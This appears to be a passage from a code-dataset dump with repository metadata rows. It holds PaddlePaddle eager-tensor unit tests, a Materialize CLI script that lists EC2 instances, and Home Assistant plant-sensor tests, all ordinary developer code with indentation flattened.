self.check_to_tesnsor_and_numpy('int32', core.VarDesc.VarType.INT32)
self.check_to_tesnsor_and_numpy('int64', core.VarDesc.VarType.INT64)
self.check_to_tesnsor_and_numpy('float16', core.VarDesc.VarType.FP16)
self.check_to_tesnsor_and_numpy('float32', core.VarDesc.VarType.FP32)
self.check_to_tesnsor_and_numpy('float64', core.VarDesc.VarType.FP64)
self.check_to_tesnsor_and_numpy('complex64',
core.VarDesc.VarType.COMPLEX64)
self.check_to_tesnsor_and_numpy('complex128',
core.VarDesc.VarType.COMPLEX128)
class EagerTensorPropertiesTestCase(unittest.TestCase):
def constructor(self, place):
egr_tensor = core.eager.EagerTensor()
self.assertEqual(egr_tensor.persistable, False)
self.assertTrue("generated" in egr_tensor.name)
self.assertEqual(egr_tensor.shape, [])
self.assertEqual(egr_tensor.dtype, core.VarDesc.VarType.FP32)
self.assertEqual(egr_tensor.stop_gradient, True)
egr_tensor0 = core.eager.EagerTensor(
core.VarDesc.VarType.FP32, [4, 16, 16, 32], "test_eager_tensor",
core.VarDesc.VarType.LOD_TENSOR, True)
self.assertEqual(egr_tensor0.persistable, True)
self.assertEqual(egr_tensor0.name, "test_eager_tensor")
self.assertEqual(egr_tensor0.shape, [4, 16, 16, 32])
self.assertEqual(egr_tensor0.dtype, core.VarDesc.VarType.FP32)
arr0 = np.random.rand(4, 16, 16, 32).astype('float32')
egr_tensor1 = core.eager.EagerTensor(arr0, place, True, False,
"numpy_tensor1", False)
self.assertEqual(egr_tensor1.persistable, True)
self.assertEqual(egr_tensor1.name, "numpy_tensor1")
self.assertEqual(egr_tensor1.shape, [4, 16, 16, 32])
self.assertEqual(egr_tensor1.dtype, core.VarDesc.VarType.FP32)
self.assertEqual(egr_tensor1.stop_gradient, False)
self.assertTrue(egr_tensor1.place._equals(place))
self.assertTrue(np.array_equal(egr_tensor1.numpy(), arr0))
arr1 = np.random.randint(100, size=(4, 16, 16, 32), dtype=np.int64)
egr_tensor2 = core.eager.EagerTensor(arr1, place, False, True,
"numpy_tensor2", True)
self.assertEqual(egr_tensor2.persistable, False)
self.assertEqual(egr_tensor2.name, "numpy_tensor2")
self.assertEqual(egr_tensor2.shape, [4, 16, 16, 32])
self.assertEqual(egr_tensor2.dtype, core.VarDesc.VarType.INT64)
self.assertEqual(egr_tensor2.stop_gradient, True)
self.assertTrue(egr_tensor2.place._equals(place))
self.assertTrue(np.array_equal(egr_tensor2.numpy(), arr1))
arr2 = np.random.rand(4, 16, 16, 32, 64).astype('float32')
egr_tensor3 = core.eager.EagerTensor(arr2)
self.assertEqual(egr_tensor3.persistable, False)
self.assertTrue("generated_tensor" in egr_tensor3.name)
self.assertEqual(egr_tensor3.shape, [4, 16, 16, 32, 64])
self.assertEqual(egr_tensor3.dtype, core.VarDesc.VarType.FP32)
self.assertEqual(egr_tensor3.stop_gradient, True)
self.assertTrue(
egr_tensor3.place._equals(
paddle.fluid.framework._current_expected_place()))
self.assertTrue(np.array_equal(egr_tensor3.numpy(), arr2))
egr_tensor3.stop_gradient = False
egr_tensor4 = core.eager.EagerTensor(egr_tensor3)
self.assertEqual(egr_tensor4.persistable, False)
self.assertTrue("generated_tensor" in egr_tensor4.name)
self.assertEqual(egr_tensor4.shape, egr_tensor3.shape)
self.assertEqual(egr_tensor4.dtype, egr_tensor3.dtype)
self.assertEqual(egr_tensor4.stop_gradient, True)
self.assertTrue(
egr_tensor4.place._equals(
paddle.fluid.framework._current_expected_place()))
self.assertTrue(
np.array_equal(egr_tensor4.numpy(), egr_tensor3.numpy()))
arr4 = np.random.rand(4, 16, 16, 32).astype('float32')
egr_tensor5 = core.eager.EagerTensor(arr4, place)
self.assertEqual(egr_tensor5.persistable, False)
self.assertTrue("generated_tensor" in egr_tensor5.name)
self.assertEqual(egr_tensor5.shape, [4, 16, 16, 32])
self.assertEqual(egr_tensor5.dtype, core.VarDesc.VarType.FP32)
self.assertEqual(egr_tensor5.stop_gradient, True)
self.assertTrue(egr_tensor5.place._equals(place))
self.assertTrue(np.array_equal(egr_tensor5.numpy(), arr4))
egr_tensor6 = core.eager.EagerTensor(egr_tensor5, core.CPUPlace())
self.assertEqual(egr_tensor6.persistable, False)
self.assertTrue("generated_tensor" in egr_tensor6.name)
self.assertEqual(egr_tensor6.shape, [4, 16, 16, 32])
self.assertEqual(egr_tensor6.dtype, core.VarDesc.VarType.FP32)
self.assertEqual(egr_tensor6.stop_gradient, True)
self.assertEqual(egr_tensor6.place.is_cpu_place(), True)
self.assertTrue(
np.array_equal(egr_tensor6.numpy(), egr_tensor5.numpy()))
egr_tensor7 = core.eager.EagerTensor(arr4, place, True)
self.assertEqual(egr_tensor7.persistable, True)
self.assertTrue("generated_tensor" in egr_tensor7.name)
self.assertEqual(egr_tensor7.shape, [4, 16, 16, 32])
self.assertEqual(egr_tensor7.dtype, core.VarDesc.VarType.FP32)
self.assertEqual(egr_tensor7.stop_gradient, True)
self.assertTrue(egr_tensor7.place._equals(place))
self.assertTrue(np.array_equal(egr_tensor7.numpy(), arr4))
egr_tensor8 = core.eager.EagerTensor(egr_tensor6, place, "egr_tensor8")
self.assertEqual(egr_tensor8.persistable, False)
self.assertEqual(egr_tensor8.name, "egr_tensor8")
self.assertEqual(egr_tensor8.shape, [4, 16, 16, 32])
self.assertEqual(egr_tensor8.dtype, core.VarDesc.VarType.FP32)
self.assertEqual(egr_tensor8.stop_gradient, True)
self.assertTrue(egr_tensor8.place._equals(place))
self.assertTrue(
np.array_equal(egr_tensor8.numpy(), egr_tensor5.numpy()))
egr_tensor9 = core.eager.EagerTensor(arr4, place, True, True)
self.assertEqual(egr_tensor9.persistable, True)
self.assertTrue("generated_tensor" in egr_tensor9.name)
self.assertEqual(egr_tensor9.shape, [4, 16, 16, 32])
self.assertEqual(egr_tensor9.dtype, core.VarDesc.VarType.FP32)
self.assertEqual(egr_tensor9.stop_gradient, True)
self.assertTrue(egr_tensor9.place._equals(place))
self.assertTrue(np.array_equal(egr_tensor9.numpy(), arr4))
x = np.random.rand(3, 3).astype('float32')
t = paddle.fluid.Tensor()
t.set(x, paddle.fluid.CPUPlace())
egr_tensor10 = core.eager.EagerTensor(t, place)
self.assertEqual(egr_tensor10.persistable, False)
self.assertTrue("generated_tensor" in egr_tensor10.name)
self.assertEqual(egr_tensor10.shape, [3, 3])
self.assertEqual(egr_tensor10.dtype, core.VarDesc.VarType.FP32)
self.assertEqual(egr_tensor10.stop_gradient, True)
self.assertTrue(egr_tensor10.place._equals(place))
self.assertTrue(np.array_equal(egr_tensor10.numpy(), x))
egr_tensor11 = core.eager.EagerTensor(t, place, "framework_constructed")
self.assertEqual(egr_tensor11.persistable, False)
self.assertTrue("framework_constructed" in egr_tensor11.name)
self.assertEqual(egr_tensor11.shape, [3, 3])
self.assertEqual(egr_tensor11.dtype, core.VarDesc.VarType.FP32)
self.assertEqual(egr_tensor11.stop_gradient, True)
self.assertTrue(egr_tensor11.place._equals(place))
self.assertTrue(np.array_equal(egr_tensor11.numpy(), x))
egr_tensor12 = core.eager.EagerTensor(t)
self.assertEqual(egr_tensor12.persistable, False)
self.assertTrue("generated_tensor" in egr_tensor12.name)
self.assertEqual(egr_tensor12.shape, [3, 3])
self.assertEqual(egr_tensor12.dtype, core.VarDesc.VarType.FP32)
self.assertEqual(egr_tensor12.stop_gradient, True)
self.assertTrue(egr_tensor12.place._equals(paddle.fluid.CPUPlace()))
self.assertTrue(np.array_equal(egr_tensor12.numpy(), x))
with self.assertRaisesRegexp(
ValueError, "The shape of Parameter should not be None"):
eager_param = EagerParamBase(shape=None, dtype="float32")
with self.assertRaisesRegexp(
ValueError, "The dtype of Parameter should not be None"):
eager_param = EagerParamBase(shape=[1, 1], dtype=None)
with self.assertRaisesRegexp(
ValueError,
"The dimensions of shape for Parameter must be greater than 0"):
eager_param = EagerParamBase(shape=[], dtype="float32")
with self.assertRaisesRegexp(
ValueError,
"Each dimension of shape for Parameter must be greater than 0, but received /*"
):
eager_param = EagerParamBase(shape=[-1], dtype="float32")
eager_param = EagerParamBase(shape=[1, 1], dtype="float32")
self.assertTrue(eager_param.trainable)
eager_param.trainable = False
self.assertFalse(eager_param.trainable)
with self.assertRaisesRegexp(
ValueError,
"The type of trainable MUST be bool, but the type is /*"):
eager_param.trainable = "False"
def test_constructor(self):
print("Test_constructor")
paddle.set_device("cpu")
place_list = [core.CPUPlace()]
if core.is_compiled_with_cuda():
place_list.append(core.CUDAPlace(0))
with _test_eager_guard():
for p in place_list:
self.constructor(p)
def test_copy_and_copy_to(self):
print("Test_copy_and_copy_to")
with _test_eager_guard():
paddle.set_device("cpu")
arr = np.ones([4, 16, 16, 32]).astype('float32')
arr1 = np.zeros([4, 16]).astype('float32')
arr2 = np.ones([4, 16, 16, 32]).astype('float32') + np.ones(
[4, 16, 16, 32]).astype('float32')
tensor = paddle.to_tensor(arr, core.VarDesc.VarType.FP32,
core.CPUPlace())
self.assertEqual(tensor.stop_gradient, True)
tensor.stop_gradient = False
print("Set persistable")
tensor.persistable = False
tensor1 = paddle.to_tensor(arr1, core.VarDesc.VarType.FP32,
core.CPUPlace())
tensor1.persistable = True
self.assertEqual(tensor1.stop_gradient, True)
self.assertTrue(np.array_equal(tensor.numpy(), arr))
print("Test copy_")
tensor.copy_(tensor1, True)
self.assertEqual(tensor.persistable, True)
self.assertEqual(tensor.shape, [4, 16])
self.assertEqual(tensor.dtype, core.VarDesc.VarType.FP32)
self.assertTrue(np.array_equal(tensor.numpy(), arr1))
print("Test _copy_to")
tensor2 = paddle.to_tensor(arr2, core.VarDesc.VarType.FP32,
core.CPUPlace())
self.assertTrue(np.array_equal(tensor2.numpy(), arr2))
self.assertTrue(tensor2.place.is_cpu_place())
tensor2.persistable = True
tensor2.stop_gradient = False
if core.is_compiled_with_cuda():
tensor3 = tensor2._copy_to(True, core.CUDAPlace(0))
self.assertTrue(np.array_equal(tensor3.numpy(), arr2))
self.assertTrue(tensor3.persistable, True)
self.assertTrue(tensor3.stop_gradient, True)
self.assertTrue(tensor3.place.is_gpu_place())
else:
tensor3 = tensor2._copy_to(True, core.CPUPlace())
self.assertTrue(np.array_equal(tensor3.numpy(), arr2))
self.assertTrue(tensor3.persistable, True)
self.assertTrue(tensor3.stop_gradient, True)
self.assertTrue(tensor3.place.is_cpu_place())
def test_properties(self):
print("Test_properties")
with _test_eager_guard():
paddle.set_device("cpu")
arr = np.ones([4, 16, 16, 32]).astype('float32')
tensor = paddle.to_tensor(arr, core.VarDesc.VarType.FP32,
core.CPUPlace())
self.assertEqual(tensor.shape, [4, 16, 16, 32])
tensor.name = 'tensor_name_test'
self.assertEqual(tensor.name, 'tensor_name_test')
self.assertEqual(tensor.persistable, False)
tensor.persistable = True
self.assertEqual(tensor.persistable, True)
tensor.persistable = False
self.assertEqual(tensor.persistable, False)
self.assertTrue(tensor.place.is_cpu_place())
self.assertEqual(tensor._place_str, 'CPUPlace')
self.assertEqual(tensor.stop_gradient, True)
tensor.stop_gradient = False
self.assertEqual(tensor.stop_gradient, False)
tensor.stop_gradient = True
self.assertEqual(tensor.stop_gradient, True)
def test_global_properties(self):
print("Test_global_properties")
self.assertFalse(core._in_eager_mode())
with _test_eager_guard():
self.assertTrue(core._in_eager_mode())
self.assertFalse(core._in_eager_mode())
def test_place_guard(self):
core._enable_eager_mode()
if core.is_compiled_with_cuda():
paddle.set_device("gpu:0")
with paddle.fluid.framework._dygraph_place_guard(core.CPUPlace()):
self.assertTrue(core.eager._get_expected_place().is_cpu_place())
else:
paddle.set_device("cpu")
with paddle.fluid.framework._dygraph_place_guard(core.CPUPlace()):
self.assertTrue(core.eager._get_expected_place().is_cpu_place())
core._disable_eager_mode()
class EagerParamBaseUsageTestCase(unittest.TestCase):
def test_print(self):
with _test_eager_guard():
linear = paddle.nn.Linear(3, 3, bias_attr=False)
print(linear.weight)
def test_copy(self):
with _test_eager_guard():
linear = paddle.nn.Linear(1, 3)
linear_copy = copy.deepcopy(linear)
linear_copy2 = linear.weight._copy_to(core.CPUPlace(), True)
self.assertTrue(
np.array_equal(linear.weight.numpy(),
linear_copy.weight.numpy()))
self.assertTrue(
np.array_equal(linear.weight.numpy(), linear_copy2.numpy()))
def func_fp16_initilaizer(self):
paddle.set_default_dtype("float16")
linear1 = paddle.nn.Linear(1, 3, bias_attr=False)
linear2 = paddle.nn.Linear(
1,
3,
bias_attr=False,
weight_attr=paddle.fluid.initializer.Uniform())
linear3 = paddle.nn.Linear(
1,
3,
bias_attr=False,
weight_attr=paddle.fluid.initializer.TruncatedNormalInitializer())
linear4 = paddle.nn.Linear(
1,
3,
bias_attr=False,
weight_attr=paddle.fluid.initializer.MSRAInitializer())
res = [
linear1.weight.numpy(), linear2.weight.numpy(),
linear3.weight.numpy(), linear4.weight.numpy()
]
paddle.set_default_dtype("float32")
return res
def test_fp16_initializer(self):
res1 = list()
res2 = list()
paddle.seed(102)
paddle.framework.random._manual_program_seed(102)
with _test_eager_guard():
res1 = self.func_fp16_initilaizer()
res2 = self.func_fp16_initilaizer()
for i in range(len(res1)):
self.assertTrue(np.array_equal(res1[i], res2[i]))
def func_layer_helper_base(self, value):
base = paddle.fluid.layer_helper_base.LayerHelperBase("test_layer",
"test_layer")
return base.to_variable(value).numpy()
def func_base_to_variable(self, value):
paddle.fluid.dygraph.base.to_variable(value)
def test_to_variable(self):
value = np.random.rand(4, 16, 16, 32).astype('float32')
res1 = None
res3 = None
with _test_eager_guard():
res1 = self.func_layer_helper_base(value)
res3 = self.func_base_to_variable(value)
res2 = self.func_layer_helper_base(value)
res4 = self.func_base_to_variable(value)
self.assertTrue(np.array_equal(res1, res2))
self.assertTrue(np.array_equal(res3, res4))
def test_backward_with_single_tensor(self):
arr4 = np.random.rand(4, 16, 16, 32).astype('float32')
egr_tensor12 = core.eager.EagerTensor(arr4, core.CPUPlace())
egr_tensor12.retain_grads()
arr = np.ones([4, 16, 16, 32]).astype('float32')
self.assertEqual(egr_tensor12.persistable, False)
self.assertTrue("generated_tensor" in egr_tensor12.name)
self.assertEqual(egr_tensor12.shape, [4, 16, 16, 32])
self.assertEqual(egr_tensor12.dtype, core.VarDesc.VarType.FP32)
self.assertEqual(egr_tensor12.stop_gradient, True)
self.assertTrue(egr_tensor12.place._equals(paddle.fluid.CPUPlace()))
self.assertTrue(np.array_equal(egr_tensor12.numpy(), arr4))
self.assertTrue(np.array_equal(egr_tensor12.gradient(), None))
egr_tensor12.backward()
self.assertTrue(np.array_equal(egr_tensor12.gradient(), arr))
class EagerGuardTestCase(unittest.TestCase):
def test__test_eager_guard(self):
tracer = paddle.fluid.dygraph.tracer.Tracer()
with _test_eager_guard(tracer):
self.assertTrue(_in_eager_mode())
if __name__ == "__main__":
unittest.main()
| true | true |
f7260a0d88edffe8d516cb9fd3952c72cf448a40 | 1,339 | py | Python | misc/python/materialize/cli/scratch/mine.py | moyun/materialize | 58a59986abfa391375f5178d6fe742c5328155ac | [
"MIT"
] | 1 | 2021-04-02T20:41:35.000Z | 2021-04-02T20:41:35.000Z | misc/python/materialize/cli/scratch/mine.py | moyun/materialize | 58a59986abfa391375f5178d6fe742c5328155ac | [
"MIT"
] | 289 | 2021-02-12T22:25:15.000Z | 2022-03-27T22:12:28.000Z | misc/python/materialize/cli/scratch/mine.py | moyun/materialize | 58a59986abfa391375f5178d6fe742c5328155ac | [
"MIT"
] | 1 | 2021-07-09T11:51:59.000Z | 2021-07-09T11:51:59.000Z | # Copyright Materialize, Inc. and contributors. All rights reserved.
#
# Use of this software is governed by the Business Source License
# included in the LICENSE file at the root of this repository.
#
# As of the Change Date specified in that file, in accordance with
# the Business Source License, use of this software will be governed
# by the Apache License, Version 2.0.
import argparse
from typing import Callable
import boto3
from mypy_boto3_ec2.service_resource import Instance
from materialize.cli.scratch import check_required_vars
from materialize.scratch import launched_by, print_instances, tags, whoami
def configure_parser(parser: argparse.ArgumentParser) -> None:
check_required_vars()
parser.add_argument(
"who",
nargs="*",
help="Whose instances to show (defaults to yourself)",
default=[whoami()],
)
parser.add_argument("--all", help="Show all instances", action="store_true")
parser.add_argument("--output-format", choices=["table", "csv"], default="table")
def run(args: argparse.Namespace) -> None:
filter: Callable[[Instance], bool] = (
(lambda _i: True) if args.all else (lambda i: launched_by(tags(i)) in args.who)
)
ists = [i for i in boto3.resource("ec2").instances.all() if filter(i)]
print_instances(ists, args.output_format)
| 33.475 | 87 | 0.720687 |
import argparse
from typing import Callable
import boto3
from mypy_boto3_ec2.service_resource import Instance
from materialize.cli.scratch import check_required_vars
from materialize.scratch import launched_by, print_instances, tags, whoami
def configure_parser(parser: argparse.ArgumentParser) -> None:
check_required_vars()
parser.add_argument(
"who",
nargs="*",
help="Whose instances to show (defaults to yourself)",
default=[whoami()],
)
parser.add_argument("--all", help="Show all instances", action="store_true")
parser.add_argument("--output-format", choices=["table", "csv"], default="table")
def run(args: argparse.Namespace) -> None:
filter: Callable[[Instance], bool] = (
(lambda _i: True) if args.all else (lambda i: launched_by(tags(i)) in args.who)
)
ists = [i for i in boto3.resource("ec2").instances.all() if filter(i)]
print_instances(ists, args.output_format)
| true | true |
f7260a5cf2eade315c5bf110204cd445c7e662a3 | 7,966 | py | Python | tests/components/plant/test_init.py | domwillcode/home-assistant | f170c80bea70c939c098b5c88320a1c789858958 | [
"Apache-2.0"
] | 6 | 2020-07-18T16:33:25.000Z | 2021-09-26T09:52:04.000Z | tests/components/plant/test_init.py | domwillcode/home-assistant | f170c80bea70c939c098b5c88320a1c789858958 | [
"Apache-2.0"
] | 38 | 2020-07-23T07:14:17.000Z | 2022-03-31T06:01:46.000Z | tests/components/plant/test_init.py | klauern/home-assistant-core | c18ba6aec0627e6afb6442c678edb5ff2bb17db6 | [
"Apache-2.0"
] | 5 | 2020-03-29T00:29:13.000Z | 2021-09-06T20:58:40.000Z | """Unit tests for platform/plant.py."""
from datetime import datetime, timedelta
import pytest
from homeassistant.components import recorder
import homeassistant.components.plant as plant
from homeassistant.const import (
ATTR_UNIT_OF_MEASUREMENT,
CONDUCTIVITY,
STATE_OK,
STATE_PROBLEM,
STATE_UNAVAILABLE,
STATE_UNKNOWN,
)
from homeassistant.core import State
from homeassistant.setup import async_setup_component
from tests.common import init_recorder_component
GOOD_DATA = {
"moisture": 50,
"battery": 90,
"temperature": 23.4,
"conductivity": 777,
"brightness": 987,
}
BRIGHTNESS_ENTITY = "sensor.mqtt_plant_brightness"
MOISTURE_ENTITY = "sensor.mqtt_plant_moisture"
GOOD_CONFIG = {
"sensors": {
"moisture": MOISTURE_ENTITY,
"battery": "sensor.mqtt_plant_battery",
"temperature": "sensor.mqtt_plant_temperature",
"conductivity": "sensor.mqtt_plant_conductivity",
"brightness": BRIGHTNESS_ENTITY,
},
"min_moisture": 20,
"max_moisture": 60,
"min_battery": 17,
"min_conductivity": 500,
"min_temperature": 15,
"min_brightness": 500,
}
async def test_valid_data(hass):
"""Test processing valid data."""
sensor = plant.Plant("my plant", GOOD_CONFIG)
sensor.entity_id = "sensor.mqtt_plant_battery"
sensor.hass = hass
for reading, value in GOOD_DATA.items():
sensor.state_changed(
GOOD_CONFIG["sensors"][reading],
None,
State(GOOD_CONFIG["sensors"][reading], value),
)
assert sensor.state == "ok"
attrib = sensor.state_attributes
for reading, value in GOOD_DATA.items():
# battery level has a different name in
# the JSON format than in hass
assert attrib[reading] == value
async def test_low_battery(hass):
"""Test processing with low battery data and limit set."""
sensor = plant.Plant("other plant", GOOD_CONFIG)
sensor.entity_id = "sensor.mqtt_plant_battery"
sensor.hass = hass
assert sensor.state_attributes["problem"] == "none"
sensor.state_changed(
"sensor.mqtt_plant_battery",
State("sensor.mqtt_plant_battery", 45),
State("sensor.mqtt_plant_battery", 10),
)
assert sensor.state == "problem"
assert sensor.state_attributes["problem"] == "battery low"
async def test_initial_states(hass):
"""Test plant initialises attributes if sensor already exists."""
hass.states.async_set(MOISTURE_ENTITY, 5, {ATTR_UNIT_OF_MEASUREMENT: CONDUCTIVITY})
plant_name = "some_plant"
assert await async_setup_component(
hass, plant.DOMAIN, {plant.DOMAIN: {plant_name: GOOD_CONFIG}}
)
await hass.async_block_till_done()
state = hass.states.get(f"plant.{plant_name}")
assert 5 == state.attributes[plant.READING_MOISTURE]
async def test_update_states(hass):
"""Test updating the state of a sensor.
Make sure that plant processes this correctly.
"""
plant_name = "some_plant"
assert await async_setup_component(
hass, plant.DOMAIN, {plant.DOMAIN: {plant_name: GOOD_CONFIG}}
)
hass.states.async_set(MOISTURE_ENTITY, 5, {ATTR_UNIT_OF_MEASUREMENT: CONDUCTIVITY})
await hass.async_block_till_done()
state = hass.states.get(f"plant.{plant_name}")
assert STATE_PROBLEM == state.state
assert 5 == state.attributes[plant.READING_MOISTURE]
async def test_unavailable_state(hass):
"""Test updating the state with unavailable.
Make sure that plant processes this correctly.
"""
plant_name = "some_plant"
assert await async_setup_component(
hass, plant.DOMAIN, {plant.DOMAIN: {plant_name: GOOD_CONFIG}}
)
hass.states.async_set(
MOISTURE_ENTITY, STATE_UNAVAILABLE, {ATTR_UNIT_OF_MEASUREMENT: CONDUCTIVITY}
)
await hass.async_block_till_done()
state = hass.states.get(f"plant.{plant_name}")
assert state.state == STATE_PROBLEM
assert state.attributes[plant.READING_MOISTURE] == STATE_UNAVAILABLE
async def test_state_problem_if_unavailable(hass):
"""Test updating the state with unavailable after setting it to valid value.
Make sure that plant processes this correctly.
"""
plant_name = "some_plant"
assert await async_setup_component(
hass, plant.DOMAIN, {plant.DOMAIN: {plant_name: GOOD_CONFIG}}
)
hass.states.async_set(MOISTURE_ENTITY, 42, {ATTR_UNIT_OF_MEASUREMENT: CONDUCTIVITY})
await hass.async_block_till_done()
state = hass.states.get(f"plant.{plant_name}")
assert state.state == STATE_OK
assert state.attributes[plant.READING_MOISTURE] == 42
hass.states.async_set(
MOISTURE_ENTITY, STATE_UNAVAILABLE, {ATTR_UNIT_OF_MEASUREMENT: CONDUCTIVITY}
)
await hass.async_block_till_done()
state = hass.states.get(f"plant.{plant_name}")
assert state.state == STATE_PROBLEM
assert state.attributes[plant.READING_MOISTURE] == STATE_UNAVAILABLE
@pytest.mark.skipif(
plant.ENABLE_LOAD_HISTORY is False,
reason="tests for loading from DB are unstable, thus"
"this feature is turned of until tests become"
"stable",
)
async def test_load_from_db(hass):
"""Test bootstrapping the brightness history from the database.
This test can should only be executed if the loading of the history
is enabled via plant.ENABLE_LOAD_HISTORY.
"""
init_recorder_component(hass)
plant_name = "wise_plant"
for value in [20, 30, 10]:
hass.states.async_set(
BRIGHTNESS_ENTITY, value, {ATTR_UNIT_OF_MEASUREMENT: "Lux"}
)
await hass.async_block_till_done()
# wait for the recorder to really store the data
hass.data[recorder.DATA_INSTANCE].block_till_done()
assert await async_setup_component(
hass, plant.DOMAIN, {plant.DOMAIN: {plant_name: GOOD_CONFIG}}
)
await hass.async_block_till_done()
state = hass.states.get(f"plant.{plant_name}")
assert STATE_UNKNOWN == state.state
max_brightness = state.attributes.get(plant.ATTR_MAX_BRIGHTNESS_HISTORY)
assert 30 == max_brightness
async def test_brightness_history(hass):
"""Test the min_brightness check."""
plant_name = "some_plant"
assert await async_setup_component(
hass, plant.DOMAIN, {plant.DOMAIN: {plant_name: GOOD_CONFIG}}
)
hass.states.async_set(BRIGHTNESS_ENTITY, 100, {ATTR_UNIT_OF_MEASUREMENT: "lux"})
await hass.async_block_till_done()
state = hass.states.get(f"plant.{plant_name}")
assert STATE_PROBLEM == state.state
hass.states.async_set(BRIGHTNESS_ENTITY, 600, {ATTR_UNIT_OF_MEASUREMENT: "lux"})
await hass.async_block_till_done()
state = hass.states.get(f"plant.{plant_name}")
assert STATE_OK == state.state
hass.states.async_set(BRIGHTNESS_ENTITY, 100, {ATTR_UNIT_OF_MEASUREMENT: "lux"})
await hass.async_block_till_done()
state = hass.states.get(f"plant.{plant_name}")
assert STATE_OK == state.state
def test_daily_history_no_data(hass):
"""Test with empty history."""
dh = plant.DailyHistory(3)
assert dh.max is None
def test_daily_history_one_day(hass):
"""Test storing data for the same day."""
dh = plant.DailyHistory(3)
values = [-2, 10, 0, 5, 20]
for i in range(len(values)):
dh.add_measurement(values[i])
max_value = max(values[0 : i + 1])
assert 1 == len(dh._days)
assert dh.max == max_value
def test_daily_history_multiple_days(hass):
"""Test storing data for different days."""
dh = plant.DailyHistory(3)
today = datetime.now()
today_minus_1 = today - timedelta(days=1)
today_minus_2 = today_minus_1 - timedelta(days=1)
today_minus_3 = today_minus_2 - timedelta(days=1)
days = [today_minus_3, today_minus_2, today_minus_1, today]
values = [10, 1, 7, 3]
max_values = [10, 10, 10, 7]
for i in range(len(days)):
dh.add_measurement(values[i], days[i])
assert max_values[i] == dh.max
| 33.330544 | 88 | 0.700603 | from datetime import datetime, timedelta
import pytest
from homeassistant.components import recorder
import homeassistant.components.plant as plant
from homeassistant.const import (
ATTR_UNIT_OF_MEASUREMENT,
CONDUCTIVITY,
STATE_OK,
STATE_PROBLEM,
STATE_UNAVAILABLE,
STATE_UNKNOWN,
)
from homeassistant.core import State
from homeassistant.setup import async_setup_component
from tests.common import init_recorder_component
GOOD_DATA = {
"moisture": 50,
"battery": 90,
"temperature": 23.4,
"conductivity": 777,
"brightness": 987,
}
BRIGHTNESS_ENTITY = "sensor.mqtt_plant_brightness"
MOISTURE_ENTITY = "sensor.mqtt_plant_moisture"
GOOD_CONFIG = {
"sensors": {
"moisture": MOISTURE_ENTITY,
"battery": "sensor.mqtt_plant_battery",
"temperature": "sensor.mqtt_plant_temperature",
"conductivity": "sensor.mqtt_plant_conductivity",
"brightness": BRIGHTNESS_ENTITY,
},
"min_moisture": 20,
"max_moisture": 60,
"min_battery": 17,
"min_conductivity": 500,
"min_temperature": 15,
"min_brightness": 500,
}
async def test_valid_data(hass):
sensor = plant.Plant("my plant", GOOD_CONFIG)
sensor.entity_id = "sensor.mqtt_plant_battery"
sensor.hass = hass
for reading, value in GOOD_DATA.items():
sensor.state_changed(
GOOD_CONFIG["sensors"][reading],
None,
State(GOOD_CONFIG["sensors"][reading], value),
)
assert sensor.state == "ok"
attrib = sensor.state_attributes
for reading, value in GOOD_DATA.items():
assert attrib[reading] == value
async def test_low_battery(hass):
sensor = plant.Plant("other plant", GOOD_CONFIG)
sensor.entity_id = "sensor.mqtt_plant_battery"
sensor.hass = hass
assert sensor.state_attributes["problem"] == "none"
sensor.state_changed(
"sensor.mqtt_plant_battery",
State("sensor.mqtt_plant_battery", 45),
State("sensor.mqtt_plant_battery", 10),
)
assert sensor.state == "problem"
assert sensor.state_attributes["problem"] == "battery low"
async def test_initial_states(hass):
hass.states.async_set(MOISTURE_ENTITY, 5, {ATTR_UNIT_OF_MEASUREMENT: CONDUCTIVITY})
plant_name = "some_plant"
assert await async_setup_component(
hass, plant.DOMAIN, {plant.DOMAIN: {plant_name: GOOD_CONFIG}}
)
await hass.async_block_till_done()
state = hass.states.get(f"plant.{plant_name}")
assert 5 == state.attributes[plant.READING_MOISTURE]
async def test_update_states(hass):
plant_name = "some_plant"
assert await async_setup_component(
hass, plant.DOMAIN, {plant.DOMAIN: {plant_name: GOOD_CONFIG}}
)
hass.states.async_set(MOISTURE_ENTITY, 5, {ATTR_UNIT_OF_MEASUREMENT: CONDUCTIVITY})
await hass.async_block_till_done()
state = hass.states.get(f"plant.{plant_name}")
assert STATE_PROBLEM == state.state
assert 5 == state.attributes[plant.READING_MOISTURE]
async def test_unavailable_state(hass):
plant_name = "some_plant"
assert await async_setup_component(
hass, plant.DOMAIN, {plant.DOMAIN: {plant_name: GOOD_CONFIG}}
)
hass.states.async_set(
MOISTURE_ENTITY, STATE_UNAVAILABLE, {ATTR_UNIT_OF_MEASUREMENT: CONDUCTIVITY}
)
await hass.async_block_till_done()
state = hass.states.get(f"plant.{plant_name}")
assert state.state == STATE_PROBLEM
assert state.attributes[plant.READING_MOISTURE] == STATE_UNAVAILABLE
async def test_state_problem_if_unavailable(hass):
plant_name = "some_plant"
assert await async_setup_component(
hass, plant.DOMAIN, {plant.DOMAIN: {plant_name: GOOD_CONFIG}}
)
hass.states.async_set(MOISTURE_ENTITY, 42, {ATTR_UNIT_OF_MEASUREMENT: CONDUCTIVITY})
await hass.async_block_till_done()
state = hass.states.get(f"plant.{plant_name}")
assert state.state == STATE_OK
assert state.attributes[plant.READING_MOISTURE] == 42
hass.states.async_set(
MOISTURE_ENTITY, STATE_UNAVAILABLE, {ATTR_UNIT_OF_MEASUREMENT: CONDUCTIVITY}
)
await hass.async_block_till_done()
state = hass.states.get(f"plant.{plant_name}")
assert state.state == STATE_PROBLEM
assert state.attributes[plant.READING_MOISTURE] == STATE_UNAVAILABLE
@pytest.mark.skipif(
plant.ENABLE_LOAD_HISTORY is False,
reason="tests for loading from DB are unstable, thus"
"this feature is turned of until tests become"
"stable",
)
async def test_load_from_db(hass):
init_recorder_component(hass)
plant_name = "wise_plant"
for value in [20, 30, 10]:
hass.states.async_set(
BRIGHTNESS_ENTITY, value, {ATTR_UNIT_OF_MEASUREMENT: "Lux"}
)
await hass.async_block_till_done()
hass.data[recorder.DATA_INSTANCE].block_till_done()
assert await async_setup_component(
hass, plant.DOMAIN, {plant.DOMAIN: {plant_name: GOOD_CONFIG}}
)
await hass.async_block_till_done()
state = hass.states.get(f"plant.{plant_name}")
assert STATE_UNKNOWN == state.state
max_brightness = state.attributes.get(plant.ATTR_MAX_BRIGHTNESS_HISTORY)
assert 30 == max_brightness
async def test_brightness_history(hass):
plant_name = "some_plant"
assert await async_setup_component(
hass, plant.DOMAIN, {plant.DOMAIN: {plant_name: GOOD_CONFIG}}
)
hass.states.async_set(BRIGHTNESS_ENTITY, 100, {ATTR_UNIT_OF_MEASUREMENT: "lux"})
await hass.async_block_till_done()
